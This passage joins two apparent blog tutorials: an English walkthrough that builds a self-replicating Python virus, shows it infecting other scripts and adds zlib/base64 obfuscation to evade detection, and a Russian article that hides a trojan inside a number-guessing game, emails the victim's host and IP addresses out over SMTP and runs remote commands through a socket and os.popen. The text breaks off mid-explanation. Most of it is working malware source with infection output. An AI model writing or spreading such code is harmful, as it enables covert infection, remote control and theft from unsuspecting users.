    return [file for file in glob.glob("*.py")]

def get_content_of_file(file):
    data = None
    with open(file, "r") as my_file:
        data = my_file.readlines()

    return data

def get_content_if_infectable(file):
    data = get_content_of_file(file)
    for line in data:
        if "# begin-virus" in line:
            return None
    return data

def infect(file, virus_code):
    if (data:=get_content_if_infectable(file)):
        with open(file, "w") as infected_file:
            infected_file.write("".join(virus_code))
            infected_file.writelines(data)

def get_virus_code():

    virus_code_on = False
    virus_code = []

    code = get_content_of_file(__file__)

    for line in code:
        if "# begin-virusn" in line:
            virus_code_on = True

        if virus_code_on:
            virus_code.append(line)

        if "# end-virusn" in line:
            virus_code_on = False
            break

    return virus_code

def summon_chaos():
    # the virus payload
    print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")

# entry point 

try:
    # retrieve the virus code from the current infected script
    virus_code = get_virus_code() 

    # look for other files to infect
    for file in find_files_to_infect():
        infect(file, virus_code)

    # call the payload
    summon_chaos()

# except:
#     pass

finally:
    # delete used names from memory
    for i in list(globals().keys()):
        if(i[0] != '_'):
            exec('del {}'.format(i))

    del i

# end-virus

Let’s try it putting this virus in a directory with just another .py file and let see if the infection starts. Our victim will be a simple program named [numbers.py](http://numbers.py) that returns some random numbers, like this:

 # numbers.py

import random

random.seed()

for _ in range(10):
  print (random.randint(0,100))

When this program is executed it returns 10 numbers between 0 and 100, super useful! LOL!

Now, in the same directory, I have my virus. Let’s execute it:

/playgrounds/python/first ❯ python ./first.py                                                                          02:30:42 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured

As you can see, our virus has started and has executed the payload. Everything is fine, but what happened to our [numbers.py](http://numbers.py) file? It should be the victim of the infection, so let’s see its code now.

# begin-virus

import glob

def find_files_to_infect(directory = "."):
    return [file for file in glob.glob("*.py")]

def get_content_of_file(file):
    data = None
    with open(file, "r") as my_file:
        data = my_file.readlines()

    return data

def get_content_if_infectable(file):
    data = get_content_of_file(file)
    for line in data:
        if "# begin-virus" in line:
            return None
    return data

def infect(file, virus_code):
    if (data:=get_content_if_infectable(file)):
        with open(file, "w") as infected_file:
            infected_file.write("".join(virus_code))
            infected_file.writelines(data)

def get_virus_code():

    virus_code_on = False
    virus_code = []

    code = get_content_of_file(__file__)

    for line in code:
        if "# begin-virusn" in line:
            virus_code_on = True

        if virus_code_on:
            virus_code.append(line)

        if "# end-virusn" in line:
            virus_code_on = False
            break

    return virus_code

def summon_chaos():
    # the virus payload
    print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")

# entry point 

try:
    # retrieve the virus code from the current infected script
    virus_code = get_virus_code() 

    # look for other files to infect
    for file in find_files_to_infect():
        infect(file, virus_code)

    # call the payload
    summon_chaos()

# except:
#     pass

finally:
    # delete used names from memory
    for i in list(globals().keys()):
        if(i[0] != '_'):
            exec('del {}'.format(i))

    del i

# end-virus
# numbers.py

import random

random.seed()

for _ in range(10):
  print (random.randint(0,100))

And as expected, now we have our virus before the real code.

Let’s create another .py file in the same directory, just a simple “hello world” program:

/playgrounds/python/first ❯ echo 'print("hello world")' > hello.py

and now, let’s execute the [numbers.py](http://numbers.py) program:

/playgrounds/python/first ❯ python numbers.py                                                                          02:35:12 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
35
43
89
37
92
71
4
21
83
47

As you can see, the program still does whatever it was expected to do (extract some random numbers) but only after having executed our virus, which has spread to other *.py files in the same directory and has executed the payload function. Now, if you look at the [hello.py](http://hello.py) file, you will see that it has been infected as well, as we can see running it:

/playgrounds/python/first ❯ python hello.py                                                                            02:40:01 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
hello world

Trying to hide the virus code a little more

Now, even if this virus could be potentially dangerous, it is easily detectable. You don’t have to be Sherlock Holmes to recognize a virus that is written in plain text and starts with # begin-virus, right?

So what can we do to make it a little harder to find?

Not much more, since we’re writing it in Python and Python is an interpreted language… however, maybe we can still do something.

For example, wouldn’t it be better if we could consider as infected any single file that contains the md5 hash of its name as a comment?

Our virus could start with something like # begin-78ea1850f48d1c1802f388db81698fd0 and end with something like # end-78ea1850f48d1c1802f388db81698fd0 and that would be different for any infected file, making it more difficult to find all the infected files on the system.

So our get_content_if_infectable() function could be modified like this:

def get_content_if_infectable(file, hash):
    # return the content of a file only if it hasn't been infected yet
  data = get_content_of_file(file)

  for line in data:
    if hash in line:
      return None

  return data

Obviously, before calling it you should calculate the hash of the file you’re going to infect like this:

hash = hashlib.md5(file.encode("utf-8")).hexdigest()

and also the get_virus_code() function should be modified to look for the current script hash:

def get_virus_code():
  # open the current file and returns the virus code, that is the code between the
  # begin-{hash} and the end-{hash} tags
  virus_code_on = False
  virus_code = []

  virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
  code = get_content_of_file(__file__)

  for line in code:
    if "# begin-" + virus_hash in line:
      virus_code_on = True

    if virus_code_on:
      virus_code.append(line + "n")

    if "# end-" + virus_hash in line:
      virus_code_on = False
      break

  return virus_code

And what about our virus source code? Can it be obfuscated somehow to be a little less easy to spot?

Well, we could try to obscure it by making it different every time we infect a new file, then we can compress it by using the zlib library and converting it in base64 format. We could just pass our plain text virus to a new transform_and_obscure_virus_code() function like this:

def obscure(data: bytes) -> bytes:
    # obscure a stream of bytes compressing it and encoding it in base64
    return base64.urlsafe_b64encode(zlib.compress(data, 9))

def transform_and_obscure_virus_code(virus_code):
    # transforms the virus code adding some randomic contents, compressing it and converting it in base64
  new_virus_code = []
  for line in virus_code:
    new_virus_code.append("# "+ str(random.randrange(1000000))+ "n")
    new_virus_code.append(line + "n")

  obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
  return obscured_virus_code

Obviously, when you obscure your virus compressing it and encoding it in base64 the code is not executable anymore, so you will have to transform it to the original state before executing it. This will be done in the infect method, by using the exec statement like this:

def infect(file, virus_code):
  # infect a single file. The routine opens the file and if it's not been infected yet, infect the file with a custom version of the virus code
  hash = hashlib.md5(file.encode("utf-8")).hexdigest()

  if (data:=get_content_if_infectable(file, hash)):
    obscured_virus_code = transform_and_obscure_virus_code(virus_code)
    viral_vector = "exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))")"

    with open(file, "w") as infected_file:
      infected_file.write("n# begin-"+ hash + "n" + viral_vector + "n# end-" + hash + "n")
      infected_file.writelines(data)

The complete source code of our new virus could be similar to this:

# ################
# chaos.py
# a Python virus
# ###############

# begin-78ea1850f48d1c1802f388db81698fd0

import base64
import glob
import hashlib
import inspect
import os
import random
import zlib

def get_content_of_file(file):
  data = None
    # return the content of a file
  with open(file, "r") as my_file:
    data = my_file.readlines()

  return data
  
def get_content_if_infectable(file, hash):
    # return the content of a file only if it hasn't been infected yet
  data = get_content_of_file(file)

  for line in data:
    if hash in line:
      return None

  return data

def obscure(data: bytes) -> bytes:
    # obscure a stream of bytes compressing it and encoding it in base64
    return base64.urlsafe_b64encode(zlib.compress(data, 9))

def transform_and_obscure_virus_code(virus_code):
    # transforms the virus code adding some randomic contents, compressing it and converting it in base64
  new_virus_code = []
  for line in virus_code:
    new_virus_code.append("# "+ str(random.randrange(1000000))+ "n")
    new_virus_code.append(line + "n")

  obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
  return obscured_virus_code

def find_files_to_infect(directory = "."):
  # find other files that can potentially be infected 
  return [file for file in glob.glob("*.py")]

def summon_chaos():
  # the virus payload
  print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")

def infect(file, virus_code):
  # infect a single file. The routine open the file and if it's not been infected yet, infect the file with a custom version of the virus code
  hash = hashlib.md5(file.encode("utf-8")).hexdigest()

  if (data:=get_content_if_infectable(file, hash)):
    obscured_virus_code = transform_and_obscure_virus_code(virus_code)
    viral_vector = "exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))")"

    with open(file, "w") as infected_file:
      infected_file.write("n# begin-"+ hash + "n" + viral_vector + "n# end-" + hash + "n")
      infected_file.writelines(data)

def get_virus_code():
  # open the current file and returns the virus code, that is the code between the
  # begin-{hash} and the end-{hash} tags
  virus_code_on = False
  virus_code = []

  virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
  code = get_content_of_file(__file__)

  for line in code:
    if "# begin-" + virus_hash in line:
      virus_code_on = True

    if virus_code_on:
      virus_code.append(line + "n")

    if "# end-" + virus_hash in line:
      virus_code_on = False
      break

  return virus_code

# entry point

try:
  # retrieve the virus code from the current infected script
  virus_code = get_virus_code()

  # look for other files to infect
  for file in find_files_to_infect():
    infect(file, virus_code)

  # call the payload
  summon_chaos()

except:
  pass

finally:
  # delete used names from memory
  for i in list(globals().keys()):
      if(i[0] != '_'):
          exec('del {}'.format(i))

  del i

# end-78ea1850f48d1c1802f388db81698fd0

Now, let’s try this new virus in another directory with the uninfected version of [numbers.py](http://numbers.py) and [hello.py](http://hello.py), and let’s see what happens.

/playgrounds/python/chaos ❯ python chaos.py                                                                            03:09:52 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured

Executing the virus we have the same behavior as we had before, but our infected files are now a little different than before… This is [numbers.py](http://numbers.py) :

# begin-661bb45509227577d3693829a1e1cb33
exec("import zlibnimport base64nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWMty47oRXUtfgdALkxkNC2-AU-Uss8zqVmUxvsWiRNBmLJEqkhqPc-v-expAk5JsOZmoaqwHmo2Dfpw-mDtSWM6MWt-RrXtqu6_GuopZRRtpa7ZjlvJGWFtvLdOFbWq6XoOpKKhldh0-S8YMtev2cOyHiWyr0WkZFhjjtFDzwtO-38afjTF2-fm5Gp_3bVzRtDCsmFfabjy63RRWOKXMsnmlH-OP1moj5h-Hqqv7A6IT0sp54d-ze2WE0iyCVkxxIda1a8iTm8pd302um8q-KZt271L_J_sW4SpBpVyv6mqqyAP5R9-5uLtmUuo1gdcdGdx0GjoyPTuCrkjfkIp4PxESV0KJ9eq1nZ5Jf3Rd2GJDkiHJSDWSw1vY-BsaF5SB8bwnLuaDq-p927kxzYKdKYQymAUutdR2vUIk_kmMqTFw6FX4YgvOBf9w6rYp266BWFdbPPsm5AUjYFRhDf-Fk5K-27-RtiFtyGt3D-XgXEeic1eTNxfTWVhhuF1i-mkGcHsuaBFPWRjFqFqvmn4gPhLgOhw1ApVC2QLcrgCCx-9XvRVGVUtmC1idY7SkUiomuI47CKoKfiOO4FowtNFaWSZDGPvtuDsNLg0gyPZtcmNGvv4tfkJUWkhNMXxoDwEbJ0jnwQcv2EI0D8fBjWPbPfn4QTUT1-36Gr_DUS5aq2CSSht8ItC4mJ-G_Vg1rtxqGZ52qS__fHYecG5IkWXYoaLgGFoF4QGX_lAT9NIIIT6UgKJEyOWPdjiNZfB5_jiXCBdmKZHl8TGUSTAm3phUdTjO2B8c9mu7m8to3NwKASz-cMN0MwhCMs6hGDr3egEO6un773HdckPFdbGc7RC4VApSv3rnJK-O0KN1mtyR5ItPVRrh5v4N_j25lNHwyrIvJHnskrlWNYXK-MxdQHFpr5meGUly4DMoPAx3fX2kuc5CraRJkv-rb7v0epdsQ-5PU_PV3mN6_dEKs9TyDc-RFXShgKdjRUjKIKa-CpoWku_bcCynHgkirdsB3vrhDTAleTJzJMwLINzVXXiI9JD2ITCCr4BqIruqI8feZ7mt9kARW3fmBEwVcJlekH4PbOLzFj5A3vz0yP2fNPlrfnxLsphiXTAuJXIDDDLDAvTxdDj0Xbl7rnrgSsTIgf2ox3guymP1tu-rOsafSuUhHIe2m9Lkn1Ct0Kdju3vZkOa0ewGopyPW5OG4b3cVoH_s0C5stSGvzp818B4JscY8c8qNwT4TnsQCTIxpJNwPPWW14L4g7tDOcwb0gQ-MHwbkNzjG0J8mX1N-ooRzhXh5kIGF70fS9TdIeDO7XB4Jc6kCzOPUHwi03Nj2nSen6w5e5i4EKjDswzzA80Otwkly5J0klGKSZfmz-1m3T26ccGzJAgTAzDpUURAfnrEjhz780mDCEBUm0ODqk6b5f3gMBwFgAzQrWKj25Y9Q6r7S3U-3Sx-TC0Xx-NhdKR74HowC3dZuIdyPvOwXfXy-eFq5ATz7AkHLHpMswd6ygvMYLaNBwHi2-iAjXqOMmJN8KSYol9yLidXVYv46tBOgeOxm4QdEF1Ia-QneroIQfr2DkVR_9WsXlljhShf0s22iaPH5RWPGKGDC1rBnRXKRG0wxjCXOlO-CpcYhYIPXHUutR9Z4P202kXvaEcUKlMTWTa8ueon0oZjhxjuPIfjDH-vP4NM_4w-LP03VUxSdoIKDHDwjLaFRHsjfq_2IdKqoFvbS4jySNKUwZbH0DVfSzHY3uqkf82M1Pee-hLrq4NIyhLQss__dYwyo0ADb4fa3FNbiLSITwOCob2Ag-KRcDc7zyPQsy1BlJUvxxHqZD3IlvCSMFyDm1epD0H4bTg4FIehBpARNrZXo_-qBbwhUKiqvvX06X5lmBc5XYaURZ9hzIX8GGsYRC1TwXzLN4XJUBChb0HIv8Tl4jOGWhQLlrJap9m7sGg4yn2ItgHY32BAwTGW4j0GyYM4eYdBPs1iwVMwpYoWSazDANqFwOOYrGTYbWvfDvddezQDEftk-y0AYd0N7xHuWUSCw39Xu-8ZEWhFUY8ZAkrPYRvu-fwlz-0oC9LhXRGotU6jK5ul-U2rMBGAZ12Y988rHaRnjYUWh8CoEMkoY7eHsQG2EM18OemWVgdCtrkUCyoliuSFyuFwptXY_d-44oYSAIlUA5ViNSAZFAZSMydb-6rCGo3iJs1xImA7kVbu9mxw5jRBv38tjzMfBHUBLxefhymdpjEsbaxG62UseqLc0y1_cG7xhUODGziSk2wvutknb7_R38pcHcl_enxUZj8v-FSbTPWAgf_x5n_uJWE1piyoRigrcoQilBlQHXMzAtJ3litZ2vjRrDjeZ2Dy_8P8E_wH6PJBm')))")
# end-661bb45509227577d3693829a1e1cb33
# numbers.py

import random

random.seed()

for _ in range(10):
  print (random.randint(0,100))

and this is

# begin-8d35108ffe2ad173a697734a3e9938e1
exec("import zlibnimport base64nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWEtv20YQPku_YksfTDUKwX3vFnCPPfYUoIc4IChxabOWSIGk4rhB_3tn9iFLfrSpgVgydzj8ZuabmY-5IlaUVJvlFdm4u67_qI2rqZFlK0xDt9SUrOXGNBtDlTVtUy6XYGqUNlQs_XeqBVd62e0PwziTTT05JfwBo1zRdP1uN2z8VcWsNiJdvq-n-123iY7gBptOun46uO0cPCkuGEsnw-QvCqv46bFj3TfDPrhRQojTwV_Ju7WA0wbIRjOm5LJxLblzc7Ud-tn1czW0VdvtXI6_Vr94S62FgXAWTT3X5Ib8PvTOX-faYNAEfq7I6Obj2JP53pHoigwtqQn6CfitltQsF4_dfE-Gg-v9I9YkG7MVqSeyf_IPDo-kEKphy0V6ZjwsRlc3u653U76KASlZxhrIUlGqlouIBO8MydaUgs0iYDbSQtFeRt21Vde3kOp6E2Nf-7LEDFBemvIHAiVDv3siXUs6X9X-GrjgXE-Cb9eQJxeKKaSxUMwU3rsFCJXipjSxaFJCAMtFO4wE8wCefaABpmSGWg1ZAwSIHk_RKpxyJa2FexcpQ6dCMq41sDRRRJX8dRalYUKV0UZorplP4rCZtsfR5R4E2TzNblqRj7-Gb-G5SjCpVcxetId8TTMUc4-587aQzP1hdNPU9XeYPuAycf12aOLfEMpZWxkpUkUi0HBYHMfdVLeu2ijh73Y5kr9Izj3ONbGrkFltKaYzBFUa8IgxzdBIE2R4XwGIKiKuvnbjcaq8y-evkR9cWF6mEE-3T54k3pigMakbH8007F1s1m6bSDSt38oAHH514_xmDii1JVRk0bvHM3DAps9fQsWgqEpdcuXZLgBnWmkkzKWPoj5AfzZ5dkWyD1ioPKAt8AP-3bmclv5ntfpAsts-C-nkVmuj3nXnQZzbS0qljumnMIGBg4uY7uYypEQzT5U8y4o_h67PLx-zWpPr49x-NNexulaX1jxT-Q3PwcxwbmVAoQ0wm3oWtB0UH5twquYhToe86Ub4GMYnwJQVWSq_VUbCg678TWSAso9-HiAD6pls654cBqxyV-9gQGzc80SIpWJMihPSz36WYN38F6gbbo4Cf-XZz8XhKVt9ia1VKpXmOewmrjz06bjfD321va8HGJSx0qWMGJ9JeaifdkPdxJVkGNRicRi7fs6zP4Ct0KZTt31Yk_a4fQCox0Pk5P6w67Y1oL_to51_1Jo8OozVTz3icx0LzWDhmYhTc-i5kOKY1DBuXzWVkQZ7HBAHO5wZ0AiYGVwF5BPEMQ7HGVmF-8QH5hOGKP0Qvp5IP7wxg9fJ5ekWv5VqAD3Nw55Az03d0ONwumzhEEHJYXAsF37E3qT1Xewb6UMp4uDJPBmz1aq4d9-a7s5Nc9xaRkCt4iyVVnIoG47sMERvfmgvpdWsDGNAnHfa5v9MsrhDYSLgjoCDeld99WRHrrtvbpvfZmeC4va2v5A78Lc38vO2caeJ-3ow4yHm5wNOljeArz5A0la32SoLmEQpYKvFTqO6xAnzSkU8BhWRqnymJTSIBCFx710cFo9jNwOK2z6pPph1vqRhRMHHRRL81SvYSc1HPDuzTMNPMvneY4JmwfoGY-hbwSMDmGXCmJMkOatOLLK1QjDfuieaQ8pGVB4nuofJ8XLjrMP86aYoV4AUGzc_uuAlqlgJcxydhyR8x8D-9j7xHgw3XprruykuDa5K4P8z0gp65Yb8Vu-m4JRKwTk7tzhbS0YoEWeB0tKKZPZGOw1Tcajn-wI51Nd7l1c-p1W1-u8mg66iHOoRn_6WxDp5izwDEZT2gKKgcS535_PWxNrhKTZtdmJPIEwK5EJ6WcgG99LrZc4-jceYstIqGlUeaHqQ3MH_xQ1xlHNjcZSfe3t3x0IpTNpuSiqmTrATk98DrSXz1v9SZ2ENQ5yLDWi5h_A8q0AeplcMKDA9rbUXe1dSZniyBDmnIkpuBLQr4pthzx5g0c-JLMJGlSo1Z8AcMAhYhfIaeeHl-di5r-6l9mpHmOvnrXPaB9N27A7xHYuDCnzJ25dNGUWD5FJFwMxvXnj4bhge_N6-kABDfFZ8IdSGlYFZabu_KTVS8xvQJF7Tv7Mso3oSHCgRyabhNQ_hbEFt-JgvFr2C_gOHlyIhHYn0pkEhPpAk7tvWHeYoczSscZQI9TTFbQGX4tuXshLU1hJCQYkT-6QUQD5E0ridmx05TpBvbOQp1GPv9qClgnMJwkuEvHSBiNDKKHmAbfmqeHBP8JHex2DpYcZRcHdt3n0uv5Cfbsh1dZ0MhKHMBgP88ZvpGlCQ739fF7gR6znv0lsAcLZkkYggkzj0Fpp2IQjIrYqpNajyQ-f8wH8R_APeFJAZ')))")
# end-8d35108ffe2ad173a697734a3e9938e1
print("hello world")

Look at that, it’s not so easy to be read now, right? And every infection is different than the other one! Moreover, every time the infection is propagated, the compressed byte64 virus is compressed and encoded again and again.

And this is just a simple example of what one could do… for example, the virus could open the target and put this piece of code at the beginning of a random function, not always at the beginning of the file, or put it in another file and make just a call to this file with a malicious import statement or so…

To sum up

In this article, we have seen that writing a computer virus in Python is a trivial operation, and even if it’s probably not the best language to be used for writing viruses… it’s worth keeping your eyes wide open, especially on a production server. :)

Happy coding!

D.


Did you find this article helpful?
Buy me a coffee!Buy me a coffee!


Как написать троян на Python

Содержание

  • 1 Как написать троян на Python
    • 1.1 Определение IP-адреса
    • 1.2 Бэкконнект по почте
    • 1.3 Создание трояна на Python
    • 1.4 Создание WiFi-стилера на Python
  • 2 Заключение

В этой статье я рас­ска­жу, как написать простой троян на Python с уда­лен­ным дос­тупом, а для боль­шей скрыт­ности мы встро­им его в игру. Даже если вы не зна­ете Python, то смо­жете луч­ше понять, как устро­ены такие вре­доно­сы, и поуп­ражнять­ся в прог­рамми­рова­нии.

Еще по теме: Как написать вирус на Python

Ко­неч­но, при­веден­ные в статье скрип­ты совсем не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют вовсе. Тем не менее при желании их воз­можно исполь­зовать для нес­ложных пакос­тей или приколов.

Как написать троян на Python

Итак, что есть тро­ян? Вирус — это прог­рамма, глав­ная задача которой — самоко­пиро­вание. Червь активно рас­простра­няет­ся по сети (типич­ный при­мер — «Петя» и WannaCry), а тро­ян — скры­тая вре­донос­ная прог­рамма, которая мас­киру­ется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го.

Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы‑то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем‑то не впол­не ожи­даемым.


Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни автор статьи, ни редак­ция сайта spy-soft.net не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный данным матери­ало­м. Несан­кци­они­рован­ный дос­туп к информа­ции и наруше­ние работы сис­тем могут прес­ледовать­ся по закону. Не забывайте об этом!

Определение IP-адреса

Для начала нам (то есть нашему тро­яну) нуж­но понять, где он ока­зал­ся. Важ­ная часть вашей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

import socket

from requests import get

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у вас отсутс­тву­ют, их нуж­но уста­новить коман­дой
pip.

pip install socket

pip install requests


Ес­ли вы видите ошиб­ку, что у вас отсутс­тву­ет pip, сна­чала нуж­но уста­новить его с сай­та pypi.org. Любопыт­но, что рекомен­дуемый спо­соб уста­нов­ки pip — через pip, что, конеч­но, очень полез­но, ког­да его нет.

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­тите вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, WiFi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

# Определяем имя устройства в сети

hostname = socket.gethostname()

# Определяем локальный (внутри сети) IP-адрес

local_ip = socket.gethostbyname(hostname)

# Определяем глобальный (публичный / в интернете) IP-адрес

public_ip = get(‘http://api.ipify.org’).text

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все несколько слож­нее.

Я выб­рал сайт
api.<wbr />ipify.<wbr />org, так как на выходе нам выда­ется толь­ко одна стро­ка — наш внеш­ний IP. Из связ­ки пуб­личный + локаль­ный IP мы получим поч­ти точ­ный адрес устрой­ства.

Вы­вес­ти информа­цию еще про­ще:

print(f‘Хост: {hostname}’)

print(f‘Локальный IP: {local_ip}’)

print(f‘Публичный IP: {public_ip}’)

Ни­ког­да не встре­чал конс­трук­ции типа
print(<wbr />f‘{}<wbr />’)? Бук­ва
f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. А по простому — прог­рам­мные встав­ки пря­мо в стро­ку.


Стро­ковые литера­лы не толь­ко хорошо смот­рятся в коде, но и помога­ют избе­гать оши­бок типа сло­жения строк и чисел (Python — это вам на JavaScript!).

Фи­наль­ный код:

import socket

from requests import get

hostname = socket.gethostname()

local_ip = socket.gethostbyname(hostname)

public_ip = get(‘http://api.ipify.org’).text

print(f‘Хост: {hostname}’)

print(f‘Локальный IP: {local_ip}’)

print(f‘Публичный IP: {public_ip}’)

За­пус­тив этот скрипт, мы смо­жем опре­делить IP-адрес нашего (или чужого) компь­юте­ра.

Бэкконнект по почте

Те­перь напишем скрипт, который будет при­сылать нам пись­мо.

Им­порт новых биб­лиотек (обе нуж­но пред­варитель­но пос­тавить через
pip <wbr />install):

import smtplib as smtp

from getpass import getpass

Пи­шем базовую информа­цию о себе:

# Почта, с которой будет отправлено письмо

email = ‘demo@spy-soft.net’

# Пароль от нее (вместо ***)

password = ‘***’

# Почта, на которую отправляем письмо

dest_email = ‘demo@spy-soft.net’

# Тема письма

subject = ‘IP’

# Текст письма

email_text = ‘TEXT’

Даль­ше сфор­миру­ем пись­мо:

message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text)

Пос­ледний штрих — нас­тро­ить под­клю­чение к поч­товому сер­вису. Я поль­зуюсь Яндекс.Поч­той, поэто­му нас­трой­ки выс­тавлял для нее.

server = smtp.SMTP_SSL(‘smtp.yandex.com’) # SMTP-сервер Яндекса

server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)

server.ehlo(email) # Отправляем hello-пакет на сервер

server.login(email, password) # Заходим на почту, с которой будем отправлять письмо

server.auth_plain() # Авторизуемся

server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)

server.quit() # Отключаемся от сервера

В стро­ке
server.<wbr />ehlo(<wbr />email) мы исполь­зуем коман­ду
EHLO. Боль­шинс­тво сер­веров SMTP под­держи­вают
ESMTP и 
EHLO. Если сер­вер, к которо­му вы пыта­етесь под­клю­чить­ся, не под­держи­вает
EHLO, мож­но исполь­зовать
HELO.

Пол­ный код этой час­ти тро­яна:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

import smtplib as smtp

import socket

from getpass import getpass

from requests import get

hostname = socket.gethostname()

local_ip = socket.gethostbyname(hostname)

public_ip = get(‘http://api.ipify.org’).text

email = ‘demo@spy-soft.net’

password = ‘***’

dest_email = ‘demo@spy-soft.net’

subject = ‘IP’

email_text = (f‘Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}’)

message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text)

server = smtp.SMTP_SSL(‘smtp.yandex.com’)

server.set_debuglevel(1)

server.ehlo(email)

server.login(email, password)

server.auth_plain()

server.sendmail(email, dest_email, message)

server.quit()

После запуска скрипта, получа­ем пись­мо.

Пись­мо с IP жертвы

Пись­мо с IP

Этот скрипт я про­верил на VirusTotal. Резуль­тат на скри­не.

Написание трояна на Python

Создание трояна на Python

По задум­ке, тро­ян пред­став­ляет собой кли­ент‑сер­верное при­ложе­ние с кли­ентом на машине ата­куемо­го и сер­вером на запус­кающей машине. Дол­жен быть реали­зован мак­сималь­ный уда­лен­ный дос­туп к сис­теме.

Как обыч­но, нач­нем с биб­лиотек:

import random

import socket

import threading

import os

Для начала напишем игру «Уга­дай чис­ло». Тут все край­не прос­то, поэто­му задер­живать­ся дол­го не буду.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Создаем функцию игры

def game():

    # Берем случайное число от 0 до 1000

    number = random.randint(0, 1000)

    # Счетчик попыток

    tries = 1

    # Флаг завершения игры

    done = False

    # Пока игра не закончена, просим ввести новое число

    while not done:

        guess = input(‘Введите число: ‘)

        # Если ввели число

        if guess.isdigit():

            # Конвертируем его в целое

            guess = int(guess)

            # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе

            if guess == number:

                done = True

                print(f‘Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.’)

            # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше

            else:

                tries += 1

                if guess > number:

                    print(‘Загаданное число меньше!’)

                else:

                    print(‘Загаданное число больше!’)

        # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново

        else:

            print(‘Это не число от 0 до 1000!’)


За­чем столь­ко слож­ностей с про­вер­кой на чис­ло? Мож­но было прос­то написать:

guess <wbr />= <wbr />int(<wbr />input(<wbr />‘Введите <wbr />число: <wbr />’)<wbr />)

Если бы мы написа­ли так, то при вво­де чего угод­но, кро­ме чис­ла, выпада­ла бы ошиб­ка, а это­го допус­тить нель­зя, так как ошиб­ка зас­тавит прог­рамму оста­новить­ся и обру­бит соеди­нение.

Вот код нашего тро­яна. Ниже мы будем раз­бирать­ся, как он работа­ет, что­бы не про­гова­ривать заново базовые вещи.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

# Создаем функцию трояна

def trojan():

    # IP-адрес атакуемого

    HOST = ‘192.168.2.112’

    # Порт, по которому мы работаем

    PORT = 9090

    # Создаем эхо-сервер

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    client.connect((HOST, PORT))

    while True:

        # Вводим команду серверу

        server_command = client.recv(1024).decode(‘cp866’)

        # Если команда совпала с ключевым словом ‘cmdon’, запускаем режим работы с терминалом

        if server_command == ‘cmdon’:

            cmd_mode = True

            # Отправляем информацию на сервер

            client.send(‘Получен доступ к терминалу’.encode(‘cp866’))

            continue

        # Если команда совпала с ключевым словом ‘cmdoff’, выходим из режима работы с терминалом

        if server_command == ‘cmdoff’:

            cmd_mode = False

        # Если запущен режим работы с терминалом, вводим команду в терминал через сервер

        if cmd_mode:

            os.popen(server_command)

        # Если же режим работы с терминалом выключен — можно вводить любые команды

        else:

            if server_command == ‘hello’:

                print(‘Hello World!’)

        # Если команда дошла до клиента — выслать ответ

        client.send(f‘{server_command} успешно отправлена!’.encode(‘cp866’))

Сна­чала нуж­но разоб­рать­ся, что такое сокет и с чем его едят. Сокет прос­тым язы­ком — это условная вил­ка или розет­ка для прог­рамм. Сущес­тву­ют кли­ент­ские и сер­верные сокеты: сер­верный прос­лушива­ет опре­делен­ный порт (розет­ка), а кли­ент­ский под­клю­чает­ся к сер­веру (вил­ка). Пос­ле того как уста­нов­лено соеди­нение, начина­ется обмен дан­ными.

Следующая стро­ка:

